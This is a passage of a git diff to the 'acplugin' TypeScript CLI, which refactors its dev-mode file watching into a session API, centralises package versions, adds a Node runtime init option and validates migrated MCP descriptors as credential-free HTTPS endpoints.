BuildSession 调度。 */ + const project = createProject({ + ...(options.config === undefined ? {} : { configFile: options.config }), }); - /** 完成 signal 清理后唤醒 runDev 主流程。 */ - let resolveStopped: (() => void) | undefined; - /** 正常 dev 生命周期只在收到 signal 并完成资源清理后结束。 */ - const stopped = new Promise((resolve) => { - resolveStopped = resolve; - }); - /** JSON 模式退出时唯一写入 stdout 的最近一次报告。 */ - let finalJsonReport: BuildResult | CliFailureReport | undefined; - /** 当前已加入 Chokidar 的配置、工程根与 descriptor 路径。 */ - const watchPaths = new Set(); - /** 已解析 Extension 依赖可递归穿过 node_modules 过滤的真实 Package 根。 */ - const dependencyRoots = new Set(); - /** 用于判断 dist、Git 与依赖忽略边界的全部工程根。 */ - const projectRoots = new Set(); - /** 必须排除以防构建产物再次触发 dev 的全部托管输出目录。 */ - const outputRoots = new Set(); - /** 初始路径与后续新增路径分别使用的监听器,退出时统一关闭。 */ - const watchers = new Set>(); - /** 至少一个监听器完成首次扫描后才允许向调用方发布构建结果。 */ - let watcherReady = false; - /** 合并短时间文件事件使用的定时器。 */ - let debounce: NodeJS.Timeout | undefined; - /** dev 模式实际使用的配置绝对路径。 */ - const configPath = path.resolve(options.config ?? 'acplugin.config.ts'); - watchPaths.add(configPath); - - /** - * 判断候选路径是否等于指定根或位于根目录内部。 - * - * @param root 已规范化的绝对根目录。 - * @param candidate Chokidar 提供的候选绝对路径。 - * @returns 候选位于根边界内时返回 true。 - */ - const isInside = (root: string, candidate: string): boolean => { - /** 从根目录指向候选的相对路径。 */ - const relative = path.relative(root, candidate); - return relative === '' || (!relative.startsWith(`..${path.sep}`) && relative !== '..' && !path.isAbsolute(relative)); - }; - - /** - * 判断候选是否是显式监听文件本身或其必要祖先目录。 - * - * @param candidate Chokidar 正在遍历的绝对路径。 - * @returns 显式文件需要经过该路径时返回 true。 - */ - const isExplicitWatchBoundary = (candidate: string): boolean => [...watchPaths].some(watched => - watched === candidate || watched.startsWith(`${candidate}${path.sep}`)) - || [...dependencyRoots].some(root => isInside(root, candidate) || root.startsWith(`${candidate}${path.sep}`)); - - /** - * 排除托管输出、Git、无关 node_modules 与事务临时目录。 - * - * 显式 descriptor 及其祖先优先放行,因此位于 node_modules 的已解析 Extension 文件仍可监听。 - * - * @param candidate Chokidar 正在判断的文件或目录。 - * @returns 当前路径不应产生监听事件时返回 true。 - */ - const ignored = (candidate: string): boolean => { - /** Chokidar 可能提供的相对路径统一转换为绝对路径。 */ - const absolute = path.resolve(candidate); - // 托管输出和事务目录必须优先于显式依赖根排除,防止本地 descriptor 放行构建产物。 - if ([...outputRoots].some(root => isInside(root, absolute))) - return true; - /** 用于匹配系统 workDir 与 `..acplugin-*` 同级事务项的 POSIX 路径。 */ - const posixAbsolute = absolute.split(path.sep).join('/'); - if (/(^|\/)(?:acplugin-work(?:-|\/|$)|\.[^/]+\.acplugin(?:\.lock|-backup|-transaction\.json|-stage-[^/]+)(?:\/|$))/.test(posixAbsolute)) - return true; - /** root 表示当前用于优先排除 Git 元数据的配置根。 */ - for (const root of projectRoots) { - /** 候选路径相对于当前工程根的 POSIX 表示。 */ - const relative = path.relative(root, absolute).split(path.sep).join('/'); - if (relative === '.git' || relative.startsWith('.git/')) - return true; - } - if (isExplicitWatchBoundary(absolute)) - return false; - /** root 表示当前用于解释标准工程目录名称的配置根。 */ - for (const root of projectRoots) { - /** 候选路径相对于当前工程根的 POSIX 表示。 */ - const relative = path.relative(root, absolute).split(path.sep).join('/'); - if (relative === 'node_modules' || relative.startsWith('node_modules/')) - return true; - } - return false; - }; - - /** - * 登记成功执行发现的工程、输出与 descriptor 路径。 - * - * @param execution 最近一次固定 Pipeline 的内部执行快照。 - * @returns 本次首次发现且需要建立就绪监听器的路径。 - */ - const registerWatchPaths = (execution: ProjectExecution): readonly string[] => { - projectRoots.add(execution.projectRoot); - outputRoots.add(execution.outDir); - /** root 表示当前允许递归监听的 Extension 依赖包根。 */ - for (const root of execution.dependencyRoots) - dependencyRoots.add(root); - /** 本次执行首次发现且需要增量加入 Chokidar 的路径。 */ - const added = execution.watchPaths.filter(candidate => !watchPaths.has(candidate)); - /** candidate 表示当前登记到稳定监听集合的绝对路径。 */ - for (const candidate of added) - watchPaths.add(candidate); - return added; - }; - - /** - * 把一次或多次底层文件事件防抖合并为下一次串行重建。 - */ - function scheduleRebuild(): void { - if (stopping) - return; - if (debounce) - clearTimeout(debounce); - debounce = setTimeout(() => { - debounce = undefined; - void rebuild(); - }, 50); - } - - /** - * 为一批静态路径建立独立监听器,并等待该批路径完成首次扫描。 - * - * Chokidar 的 `add()` 不提供可等待的新增路径 ready 语义,因此动态路径不能复用旧监听器。 - * - * @param paths 本批首次发现的配置、工程或 Extension 依赖路径。 - * @returns 路径完成 ready 时返回 true,收到 stop 通知时返回 false。 - */ - async function createReadyWatcher(paths: readonly string[]): Promise { - /** 当前批次独占的 Chokidar 监听器。 */ - const watcher = watch([...paths], { - ignoreInitial: true, - ignored, - // FSEvents 可能把一次 truncate/write 拆成间隔较长的多个 change;先等待文件稳定, - // 再交给队列级防抖,避免同一次作者保存跨过构建边界而产生额外重建。 - awaitWriteFinish: { stabilityThreshold: 100, pollInterval: 20 }, - }); - watchers.add(watcher); - watcher.on('all', scheduleRebuild); - try { - /** readyResult 区分正常完成首次扫描与 signal 主动取消。 */ - const readyResult = await Promise.race([ - new Promise((resolve, reject) => { - watcher.once('ready', () => resolve(true)); - watcher.once('error', reject); - }), - stopRequested.then(() => false as const), - ]); - if (!readyResult) { - watchers.delete(watcher); - await watcher.close(); - } - return readyResult; - } catch /** error 保存监听器初始化异常并确保不会遗留活动句柄。 */ (error) { - watchers.delete(watcher); - await watcher.close(); - throw error; - } - } - - /** - * 执行一次 dev 构建;signal 后不再登记路径、发布报告或创建 watcher。 - */ - async function performRebuild(): Promise { - try { - /** 当前 dev 重建的 Pipeline 结果。 */ - const execution = await executeProject({ - command: 'dev', - mode: options.mode, - ...(options.config === undefined ? {} : { configPath: options.config }), - ...(options.platform === undefined ? {} : { platforms: options.platform as PlatformId[] }), - ...(options.strict === undefined ? {} : { strict: options.strict }), - commit: true, - }); - if (stopping) - return; - /** 固定 Pipeline 当前一次 dev 重建的公开报告。 */ - const result = execution.result; - /** 当前执行首次发现、旧监听器尚未覆盖的动态路径。 */ - const added = registerWatchPaths(execution); - if (watcherReady && added.length > 0) { - try { - /** dynamicReady 表示本批动态路径是否在取消前完成首次扫描。 */ - const dynamicReady = await createReadyWatcher(added); - if (!dynamicReady || stopping) - return; - // ready 只表示初始目录扫描结束;扫描期间的变化因 ignoreInitial 不会产生事件。 - // 丢弃本轮旧快照并让串行队列立即补偿构建,成功提示才是可靠同步边界。 - pending = true; - return; - } catch /** error 保存动态监听器初始化异常,并允许后续配置事件重试。 */ (error) { - /** candidate 表示当前尚未成功建立监听、需要撤销登记的路径。 */ - for (const candidate of added) - watchPaths.delete(candidate); - throw error; - } - } - if (stopping) - return; - /** 发布本次成功执行结果;首次结果必须等到监听器确实就绪。 */ - const publish = (): void => { - if (options.json) { - finalJsonReport = result; - process.stderr.write(`dev: ${result.success ? 'success' : 'failed'}\n`); - } else { - writeReport(result, false); - } - }; - if (watcherReady) - publish(); - process.exitCode = exitCodeFor(result); - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - if (stopping) - return; - /** 配置错误可通过后续文件变更恢复,内部异常仍以独立退出状态标识。 */ - const internal = !(error instanceof ProjectConfigError); - /** 发布本次失败结果;首次失败同样在配置监听已经就绪后再提示可恢复。 */ - const publish = (): void => { - if (options.json) { - finalJsonReport = failureReport('dev', error, internal); - process.stderr.write('dev: failed\n'); - } else { - writeFailure('dev', error, false, internal); - } - }; - if (watcherReady) - publish(); - process.exitCode = internal ? 2 : 1; - } - } - - /** - * 消费构建期间合并到 pending 的变化,直到队列稳定或收到 signal。 - */ - async function runRebuildQueue(): Promise { - do { - pending = false; - await performRebuild(); - } while (pending && !stopping); - } - - /** - * 请求一次串行重建,并返回当前唯一可等待的在途队列。 - * - * @returns 当前或新建的重建队列 Promise。 - */ - function rebuild(): Promise { - if (stopping) - return Promise.resolve(); - if (activeRebuild) { - pending = true; - return activeRebuild; - } - /** task 表示本次创建且会在稳定后清除引用的重建队列。 */ - const task = runRebuildQueue(); - activeRebuild = task; - void task.then(() => { - if (activeRebuild === task) - activeRebuild = undefined; - }); - return task; - } - - /** - * 响应任意启动阶段的终止信号,等待在途任务并关闭最终 watcher 集合。 - */ - function stop(): void { + /** 成功创建后由 signal 幂等关闭的持续 Session。 */ + let session: Awaited> | undefined; + /** 防止多个终止信号重复处理退出。 */ + let stopping = false; + /** JSON 模式关闭时唯一输出的最近报告。 */ + let current: BuildReport | undefined; + /** 终止处理只请求 Core 关闭,不接管它的内部资源。 */ + const stop = (): void => { if (stopping) return; stopping = true; - notifyStopRequested?.(); - if (debounce) - clearTimeout(debounce); - if (options.json && finalJsonReport) { - /** BuildResult 使用稳定 serializer,配置前失败使用固定字段顺序。 */ - const json = 'deliveryUnits' in finalJsonReport - ? serializeBuildResult(finalJsonReport) - : `${JSON.stringify(finalJsonReport, null, 2)}\n`; - process.stdout.write(json); - } process.exitCode = 130; - /** cleanup 表示等待首次或动态任务后对最终 watcher 集合执行的统一清理。 */ - const cleanup = async (): Promise => { - try { - await activeRebuild; - await activeWatcherSetup; - /** closeTasks 包含停止后不再增长的全部初始或动态监听器。 */ - const closeTasks = [...watchers].map(watcher => watcher.close()); - await Promise.all(closeTasks); - } catch { - // signal 的公开退出语义固定为 130,清理异常不能产生未处理 Promise rejection。 - process.exitCode = 130; - } finally { - resolveStopped?.(); - } - }; - void cleanup(); - } - - // 使用持久监听器直到 finally 主动卸载,避免构建依赖在后注册的 signal-exit - // 把“当前只剩自身监听器”误判为无人处理,并重新发送信号绕过异步清理。 + /** close 可在完成终态后报告 cleanup 失败;signal 路径必须显式观察 rejection。 */ + void session?.close().catch(() => undefined); + }; process.on('SIGINT', stop); process.on('SIGTERM', stop); try { - await rebuild(); + session = await project.dev({ + mode: options.mode, + ...(options.platform === undefined ? {} : { platforms: options.platform }), + commit: true, + }); + current = session.current; + if (stopping) { + await session.close(); + return; + } + if (!options.json) + writeReport(current, false); + else + writeDevProgress(current); + /** 订阅只负责 presentation,不参与调度、Watch 或事务。 */ + session.subscribe((event) => { + if (event.type !== 'build-complete') + return; + current = event.report; + if (!options.json) + writeReport(event.report, false); + else + writeDevProgress(event.report); + }); + await session.closed; + if (options.json && current !== undefined) + process.stdout.write(serializeBuildReport(current)); + if (!stopping && current !== undefined) + process.exitCode = exitCodeFor(current); + } catch (error) { if (!stopping) { - /** 监听配置、工程根和 descriptor 的初始 setup,也必须能被 signal 等待。 */ - const setup = createReadyWatcher([...watchPaths]); - activeWatcherSetup = setup; - /** initialReady 表示首次路径扫描是否在 signal 前正常完成。 */ - const initialReady = await setup; - if (activeWatcherSetup === setup) - activeWatcherSetup = undefined; - if (initialReady && !stopping) { - watcherReady = true; - // 首次 Pipeline 与 watcher ready 之间存在 ignoreInitial 窗口;旧报告不能发布。 - await rebuild(); - } + /** 配置错误属于项目输入,其余 DevSession 创建异常属于框架内部失败。 */ + const internal = !(error instanceof ProjectConfigError); + writeFailure('dev', error, options.json, internal); + process.exitCode = internal ? 2 : 1; } - await stopped; - } catch /** error 表示初始化与 signal 同时发生时可能到达的 watcher 异常。 */ (error) { - if (!stopping) - throw error; - await stopped; } finally { process.off('SIGINT', stop); process.off('SIGTERM', stop); } } -/** - * 构造完整 Commander 命令树,但不读取 argv 或退出进程。 - * - * @returns 可供 main、测试或嵌入方调用的根 Command。 - */ +/** 构造完整 Commander 命令树,但不读取 argv 或退出进程。 */ export function createCli(): Command { /** 注册全局元数据和错误处理策略的 CLI 根命令。 */ const program = new Command() @@ -566,6 +251,7 @@ export function createCli(): Command { .option('--platform ', 'Select one or more configured Platforms') .option('--hooks', 'Enable the official Hooks Extension') .option('--mcp', 'Enable the official MCP Extension') + .option('--node-runtime', 'Generate a built-in Node Runtime entry') .option('--install', 'Run pnpm install after scaffolding') .option('--json', 'Emit one stable JSON result on stdout') .action(async (directory: string | undefined, options: { @@ -576,6 +262,7 @@ export function createCli(): Command { platform?: InitPlatformId[]; hooks?: boolean; mcp?: boolean; + nodeRuntime?: boolean; install?: boolean; json?: boolean; }) => { @@ -590,15 +277,16 @@ export function createCli(): Command { ...(options.platform === undefined ? {} : { platforms: options.platform }), ...(options.hooks === undefined ? {} : { hooks: options.hooks }), ...(options.mcp === undefined ? {} : { mcp: options.mcp }), + ...(options.nodeRuntime === undefined ? {} : { nodeRuntime: options.nodeRuntime }), ...(options.install === undefined ? {} : { install: options.install }), }); if (options.json) - process.stdout.write(`${JSON.stringify({ schemaVersion: '1', success: true, ...result }, null, 2)}\n`); + process.stdout.write(`${JSON.stringify({ schemaVersion: 2, success: true, ...result }, null, 2)}\n`); else process.stdout.write(`Created ${result.directory}\nNext: cd ${result.directory} && pnpm install && pnpm build\n`); if (options.install && !result.installed) process.exitCode = 1; - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + } catch (error) { writeFailure('init', error, options.json, false); process.exitCode = 1; } @@ -627,7 +315,7 @@ export function createCli(): Command { json?: boolean; }) => { try { - // Migration 通过动态导入保持在独立 chunk 中,不进入常规构建和配置加载路径。 + // Migration 动态导入保持在独立 chunk,不进入正常配置与构建启动路径。 const { migrate } = await import('./migration/index.js'); /** 旧工程转换产生的结构化迁移报告。 */ const report = await migrate({ @@ -647,15 +335,15 @@ export function createCli(): Command { process.stdout.write(`Migration ${report.success ? 'succeeded' : 'failed'}: ${report.items.length} resource(s)\n`); if (!report.success) process.exitCode = 1; - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + } catch (error) { writeFailure('migrate', error, options.json, false); process.exitCode = 1; } }); - addProjectOptions(program.command('validate').description('Validate all selected Platform delivery units'), 'production') + addProjectOptions(program.command('validate').description('Validate all selected Platform packages'), 'production') .action((options: ProjectCliOptions) => runPipeline('validate', options)); - addProjectOptions(program.command('inspect').description('Inspect all selected Platform delivery units'), 'production') + addProjectOptions(program.command('inspect').description('Inspect all selected Platform packages'), 'production') .action((options: ProjectCliOptions) => runPipeline('inspect', options)); addProjectOptions(program.command('build').description('Build and atomically commit selected Platforms'), 'production') .action((options: ProjectCliOptions) => runPipeline('build', options)); @@ -665,11 +353,7 @@ export function createCli(): Command { return program; } -/** - * 解析 CLI 参数并把 Commander 使用错误与框架内部错误映射为稳定退出码。 - * - * @param argv 完整进程参数,默认为 process.argv。 - */ +/** 解析 CLI 参数并把使用错误与框架内部错误映射为稳定退出码。 */ export async function main(argv: readonly string[] = process.argv): Promise { /** 当前调用独占的 Commander 命令树。 */ const program = createCli(); @@ -678,20 +362,20 @@ export async function main(argv: readonly string[] = process.argv): Promise argument === '--target' || argument === '-t' || argument.startsWith('--target='))) { + /** `--` 之前用于识别已移除参数的真实选项候选。 */ + const argumentsAfterBinary = argv.slice(2); + /** Commander option 终止符位置。 */ + const terminator = argumentsAfterBinary.indexOf('--'); + /** 不包含位置参数文本的选项扫描范围。 */ + const scanned = terminator === -1 ? argumentsAfterBinary : argumentsAfterBinary.slice(0, terminator); + if (scanned.some(argument => argument === '--target' || argument === '-t' || argument.startsWith('--target='))) { program.error('option \'--target\' has been removed; use \'--platform \' instead', { exitCode: 2, code: 'acplugin.legacyTarget', }); } await program.parseAsync(argv); - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + } catch (error) { if (error instanceof CommanderError) { if (error.code === 'commander.helpDisplayed' || error.code === 'commander.version') return; diff --git a/packages/acplugin/src/ecosystem-versions.json b/packages/acplugin/src/ecosystem-versions.json new file mode 100644 index 0000000..c90cca0 --- /dev/null +++ b/packages/acplugin/src/ecosystem-versions.json @@ -0,0 +1,11 @@ +{ + "@tokenroll/acplugin": "0.0.2-beta", + "@tokenroll/acplugin-platform-claude-code": "0.0.2-beta", + "@tokenroll/acplugin-platform-codex": "0.0.3-beta", + "@tokenroll/acplugin-platform-cursor": "0.0.2-beta", + "@tokenroll/acplugin-platform-antigravity": "0.0.2-beta", + "@tokenroll/acplugin-platform-opencode": "0.0.2-beta", + "@tokenroll/acplugin-platform-pi": "0.0.2-beta", + "@tokenroll/acplugin-extension-hooks": "0.0.2-beta", + "@tokenroll/acplugin-extension-mcp": "0.0.2-beta" +} diff --git a/packages/acplugin/src/ecosystem-versions.ts b/packages/acplugin/src/ecosystem-versions.ts new file mode 100644 index 0000000..11abc6e --- /dev/null +++ b/packages/acplugin/src/ecosystem-versions.ts @@ -0,0 +1,12 @@ +import versions from './ecosystem-versions.json' with { type: 'json' }; + +/** 正式公开包名到当前脚手架默认精确版本的单一生成快照。 */ +export type PublicPackageName = keyof typeof versions; + +/** 当前 revision 的公开生态包版本快照。 */ +export const PUBLIC_PACKAGE_VERSIONS: Readonly> = Object.freeze({ ...versions }); + +/** 返回脚手架和 Migration 共同使用的兼容依赖范围。 */ +export function publicPackageRange(name: PublicPackageName): string { + return `^${PUBLIC_PACKAGE_VERSIONS[name]}`; +} diff --git a/packages/acplugin/src/index.ts b/packages/acplugin/src/index.ts index ace3e40..75a693d 100644 --- a/packages/acplugin/src/index.ts +++ b/packages/acplugin/src/index.ts @@ -1,128 +1,82 @@ -import { - type BuildResult, - type UserConfigExport, -} from '@acplugin/core'; -import { executeProject, type RunProjectOptions } from './run-project.js'; +import type { + BuildReport, + UserConfigExport, +} from '@acplugin/core/kernel-author'; +import { stableJson } from '@acplugin/core/kernel-author'; +export { createProject, ProjectConfigError, runProject } from './project.js'; +export { ACPLUGIN_VERSION } from './version.js'; +export { + nodeRuntimeArtifactPath, + nodeRuntimeLicensesArtifactPath, +} from '@acplugin/core/kernel-author'; -export { ProjectConfigError } from './project-config.js'; -export type { RunProjectOptions } from './run-project.js'; +export { initializeProject } from './init.js'; +export type { InitOptions, InitPlatformId, InitResult } from './init.js'; -// 主包只精选公开作者 API;Core 的内部 Registry、事务和品牌检查不会通过通配导出泄漏。 -export { - bytesArtifact, - defineExtension, - definePlatform, - LIFECYCLE_API_VERSION, - markdownWithFrontmatter, - serializeBuildResult, - stableJson, - stableYaml, -} from '@acplugin/core'; +/** + * 为 acplugin.config.ts 提供类型推断友好的恒等辅助函数。 + * + * @param config 静态配置对象或按命令和模式生成配置的函数。 + * @returns 未修改的配置导出。 + */ +export function defineConfig(config: T): T { + return config; +} + +/** + * 把已经规范化的 BuildReport 序列化为稳定 JSON 文档。 + * + * @param report Kernel v2 构建报告。 + * @returns 两空格缩进且以单个换行结尾的 JSON。 + */ +export function serializeBuildReport(report: BuildReport): string { + return stableJson(report); +} + +// 根入口只公开普通作者和程序化调用方契约;Integration 生命周期只位于 ./sdk。 export type { - AcpluginExtension, - AcpluginPlatform, AgentCapability, - AgentComponent, AgentModel, - Artifact, - ArtifactInput, - ArtifactMode, - ArtifactReport, - Awaitable, - BuildCommand, + AssetMode, + AssetOrigin, BuildConfig, - BuildEndContext, BuildMode, - BuildResult, - BuildStartContext, - CommandComponent, + BuildReport, CompatibilityEntry, - CompatibilityInput, CompatibilityLevel, - Component, - ComponentDescription, - ComponentKind, - ComponentPlatformFields, - ComponentRequires, ComponentReport, + ConfigCommand, ConfigEnvironment, - ConfigResolvedContext, - DeliveryUnit, - DeliveryUnitInput, - DeliveryUnitReport, - DeliveryUnitRole, - DeliveryUnitType, + CreateProjectOptions, + DevSession, + DevSessionEvent, Diagnostic, DiagnosticInput, - DiagnosticSeverity, - DocumentAddPatch, - DocumentEmission, - DocumentFieldPath, - DocumentFormat, - DocumentReport, - DraftDocument, - ExtensionBuildContext, - ExtensionDefinition, - ExtensionDescription, - ExtensionDiscoverContext, - ExtensionPlatformAdapter, + DiagnosticPhase, ExtensionReport, - ExtensionValidateContext, - JsonObject, - JsonValue, - LifecycleConfigSnapshot, - LifecycleContext, - MaterializedCandidate, + ExtensionSubject, MetadataDisposition, MetadataDispositionEntry, - MetadataDispositionInput, - PlatformAdapterContext, - PlatformAdapterDescription, - PlatformComponentValidationContext, - PlatformDefinition, - PlatformDeliveryType, - PlatformDescription, - PlatformDistributionContext, - PlatformDraftInput, - PlatformGenerateContext, - PlatformId, - PlatformPrepareContext, + NodeRuntimeConfig, + NodeRuntimeEntryInput, + NodeRuntimeEntryKind, + PackageAssetReport, + PackageUnitReport, PlatformReport, - PlatformValidateContext, + PlatformDeliveryType, PluginAuthor, PluginMetadata, - PluginProject, + Project, + ProjectDevOptions, + ProjectRunOptions, + PortableNodeCompileOptions, + PortableNodeResolveOptions, + PortableNodeTransformOptions, PublicConfig, PublicCopyRule, - PublicFile, - SkillAuxiliaryFile, - SkillComponent, + RunProjectOptions, + RuntimeReport, SourceLocation, UserConfig, UserConfigExport, -} from '@acplugin/core'; -export { initializeProject } from './init.js'; -export type { InitOptions, InitPlatformId, InitResult } from './init.js'; - -/** 当前 CLI 与公开运行时 API 的版本号。 */ -export const ACPLUGIN_VERSION = '0.0.1-beta'; - -/** - * 为 `acplugin.config.ts` 提供类型推断友好的恒等辅助函数。 - * - * @param config 静态配置对象或按命令和模式生成配置的函数。 - * @returns 未修改的配置导出。 - */ -export function defineConfig(config: UserConfigExport): UserConfigExport { - return config; -} - -/** - * 使用当前正式 Pipeline 运行一个项目构建请求。 - * - * @param options 配置定位、命令模式和运行时覆盖选项。 - * @returns Core Pipeline 产生的项目与构建报告。 - */ -export async function runProject(options: RunProjectOptions): Promise { - return (await executeProject(options)).result; -} +} from '@acplugin/core/kernel-author'; diff --git a/packages/acplugin/src/init.ts b/packages/acplugin/src/init.ts index f20aa00..db818a9 100644 --- a/packages/acplugin/src/init.ts +++ b/packages/acplugin/src/init.ts @@ -2,8 +2,9 @@ import { spawn } from 'node:child_process'; import { promises as fs } from 'node:fs'; import path from 'node:path'; import { checkbox, input } from '@inquirer/prompts'; +import { publicPackageRange } from './ecosystem-versions.js'; -/** 控制 `acplugin init` 的交互方式、工程元数据和可选官方 Extension。 */ +/** 控制 `acplugin init` 的交互方式、工程元数据和可选框架能力。 */ export interface InitOptions { /** 解析目标目录的工作目录,默认为当前进程目录。 */ cwd?: string; @@ -23,6 +24,8 @@ export interface InitOptions { hooks?: boolean; /** 是否在生成配置中启用官方 MCP Extension。 */ mcp?: boolean; + /** 是否生成 Core 内建 Node Runtime 的约定入口模板。 */ + nodeRuntime?: boolean; /** 是否在脚手架完成后运行 pnpm install。 */ install?: boolean; } @@ -55,12 +58,12 @@ const DEFAULT_PLATFORMS: readonly InitPlatformId[] = ['claude-code', 'codex']; /** 每个独立版本化官方 Platform 的 package、配置工厂导出名与脚手架依赖范围。 */ const PLATFORM_PACKAGES: Readonly> = { - 'claude-code': { packageName: '@tokenroll/acplugin-platform-claude-code', factory: 'claudeCode', version: '^0.0.1-beta' }, - 'codex': { packageName: '@tokenroll/acplugin-platform-codex', factory: 'codex', version: '^0.0.2-beta' }, - 'cursor': { packageName: '@tokenroll/acplugin-platform-cursor', factory: 'cursor', version: '^0.0.1-beta' }, - 'antigravity': { packageName: '@tokenroll/acplugin-platform-antigravity', factory: 'antigravity', version: '^0.0.1-beta' }, - 'opencode': { packageName: '@tokenroll/acplugin-platform-opencode', factory: 'openCode', version: '^0.0.1-beta' }, - 'pi': { packageName: '@tokenroll/acplugin-platform-pi', factory: 'pi', version: '^0.0.1-beta' }, + 'claude-code': { packageName: '@tokenroll/acplugin-platform-claude-code', factory: 'claudeCode', version: publicPackageRange('@tokenroll/acplugin-platform-claude-code') }, + 'codex': { packageName: '@tokenroll/acplugin-platform-codex', factory: 'codex', version: publicPackageRange('@tokenroll/acplugin-platform-codex') }, + 'cursor': { packageName: '@tokenroll/acplugin-platform-cursor', factory: 'cursor', version: publicPackageRange('@tokenroll/acplugin-platform-cursor') }, + 'antigravity': { packageName: '@tokenroll/acplugin-platform-antigravity', factory: 'antigravity', version: publicPackageRange('@tokenroll/acplugin-platform-antigravity') }, + 'opencode': { packageName: '@tokenroll/acplugin-platform-opencode', factory: 'openCode', version: publicPackageRange('@tokenroll/acplugin-platform-opencode') }, + 'pi': { packageName: '@tokenroll/acplugin-platform-pi', factory: 'pi', version: publicPackageRange('@tokenroll/acplugin-platform-pi') }, }; /** Plugin 名称接受的小写 kebab-case 格式。 */ @@ -167,10 +170,15 @@ export default defineConfig({ * @param mcp 是否加入官方 MCP Extension 依赖。 * @returns 以换行结尾的格式化 JSON。 */ -function packageSource(name: string, platforms: readonly InitPlatformId[], hooks: boolean, mcp: boolean): string { +function packageSource( + name: string, + platforms: readonly InitPlatformId[], + hooks: boolean, + mcp: boolean, +): string { /** 根据 Extension 选择动态扩展的开发依赖映射。 */ const devDependencies: Record = { - '@tokenroll/acplugin': '^0.0.1-beta', + '@tokenroll/acplugin': publicPackageRange('@tokenroll/acplugin'), '@types/node': '^20.19.0', 'typescript': '^7.0.2', }; @@ -180,9 +188,9 @@ function packageSource(name: string, platforms: readonly InitPlatformId[], hooks devDependencies[definition.packageName] = definition.version; } if (hooks) - devDependencies['@tokenroll/acplugin-extension-hooks'] = '^0.0.1-beta'; + devDependencies['@tokenroll/acplugin-extension-hooks'] = publicPackageRange('@tokenroll/acplugin-extension-hooks'); if (mcp) - devDependencies['@tokenroll/acplugin-extension-mcp'] = '^0.0.1-beta'; + devDependencies['@tokenroll/acplugin-extension-mcp'] = publicPackageRange('@tokenroll/acplugin-extension-mcp'); return `${JSON.stringify({ name, version: '0.1.0', @@ -290,17 +298,25 @@ export async function initializeProject(options: InitOptions): Promise; + if (Object.getOwnPropertySymbols(candidate).length > 0 + || Object.values(Object.getOwnPropertyDescriptors(candidate)).some(descriptor => !('value' in descriptor))) + throw new TypeError('Migration MCP descriptor must not use symbols or accessors.'); + if (candidate.transport !== 'http' || typeof candidate.url !== 'string') + throw new TypeError('Migration MCP descriptor must use the remote HTTP transport.'); + /** Migration 只会自动生成无凭据的 HTTPS endpoint。 */ + const endpoint = new URL(candidate.url); + if (endpoint.protocol !== 'https:' || endpoint.username || endpoint.password) + throw new TypeError('Migration MCP descriptor must use a credential-free HTTPS URL.'); +} + +/** Migration 提交前验证使用的无产物 Platform,不包含任何官方 Platform 逻辑。 */ +const migrationValidationPlatform = definePlatform({ + // Migration may preserve verified Claude-specific fields, so Scanner must see the target ID. + id: 'claude-code', + apiVersion: '1', + deliveryType: 'plugin', + /** Migration 验证使用完整 v2 Session,但不实现任何官方 Platform 转换。 */ + createSession: () => ({ + /** 只声明 Scanner 已接受的 Component 与 metadata,不产生候选 Asset。 */ + createPackage: ({ project }) => ({ + documents: [], + assets: [], + compatibility: [...project.commands, ...project.skills, ...project.agents].map(component => ({ + subject: `${component.kind}:${component.id}`, + capability: 'component', + level: 'native' as const, + reason: 'The migration validation Platform accepts canonical resources.', + })), + metadata: [ + 'name', 'version', 'description', + ...(project.metadata.displayName === undefined ? [] : ['displayName']), + ...(project.metadata.author === undefined + ? [] + : [ + 'author.name', + ...(project.metadata.author.email === undefined ? [] : ['author.email']), + ...(project.metadata.author.url === undefined ? [] : ['author.url']), + ]), + ...(project.metadata.homepage === undefined ? [] : ['homepage']), + ...(project.metadata.repository === undefined ? [] : ['repository']), + ...(project.metadata.license === undefined ? [] : ['license']), + ...(project.metadata.keywords.length === 0 ? [] : ['keywords']), + ].map(field => ({ + field, + disposition: 'emitted' as const, + output: `manifest/${field.replaceAll('.', '/')}`, + reason: 'The migration validation Platform accepts this metadata field.', + })), + }), + /** 使用固定主 Package 身份完成正式 lifecycle。 */ + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + /** Migration 私有 Platform 没有额外候选格式规则。 */ + validatePackage: () => undefined, + }), +}); + +/** Migration 提交前执行自己生成的 MCP descriptor,并声明 mcp root 所有权。 */ +const migrationValidationMcp = defineExtension({ + id: 'migration-validation-mcp', + apiVersion: '1', + resourceRoots: ['mcp'], + /** 每轮验证创建隔离的 descriptor Module Session。 */ + createSession: () => ({ + /** 通过 v2 SourceRef/ModuleService fresh evaluate 每个生成 descriptor。 */ + async discover({ roots, sources, modules }) { + /** 配置声明的 mcp root 是当前 Extension 唯一可读来源。 */ + const root = roots.mcp; + if (root === undefined) + return undefined; + /** mcp root 只接受一层稳定 Server 目录。 */ + const entries = await sources.list(root); + /** count 只用于证明所有 descriptor 均已通过执行验证。 */ + let count = 0; + for (const entry of entries) { + if (entry.type !== 'directory') + throw new TypeError('Migration MCP entries must be directories.'); + /** 每个 Server 目录的固定作者入口。 */ + const descriptor = await sources.file(entry.directory, 'mcp.ts'); + /** 默认导出必须跨越正式 Module Host 数据边界。 */ + const value = await modules.loadDefault({ id: entry.name, entry: descriptor }); + validateMigrationMcpServer(value); + count += 1; + } + return Object.freeze({ count }); + }, + /** Migration descriptor 没有 Platform delivery subject,只验证模块本身。 */ + validate: (_context, discovered) => ({ state: discovered, subjects: [] }), + /** 无 Contributor 时 Core 会跳过 build;该方法只满足完整 Session contract。 */ + build: (_context, validated) => ({ state: validated }), + contributors: [], + }), +}); + +/** 临时代理读取的主包与 Migration 私有验证 API。 */ interface MigrationValidationApi { /** 生成配置使用的公开恒等辅助函数。 */ readonly defineConfig: typeof defineConfig; - /** 空 Component 工程显式选择 Claude Code 时使用的公开 Platform 工厂。 */ - readonly claudeCode: typeof claudeCode; - /** 安全远程 MCP 描述使用的公开 Extension 工厂。 */ - readonly mcp: typeof mcp; - /** 每个迁移后 mcp.ts 必须实际调用的品牌化定义工厂。 */ - readonly defineMcpServer: typeof defineMcpServer; + /** 不生成产物、只驱动正式 Core Scanner 的 Migration 私有 Platform。 */ + readonly migrationValidationPlatform: typeof migrationValidationPlatform; + /** 只通过 v2 Module Service 验证 Migration 生成 MCP 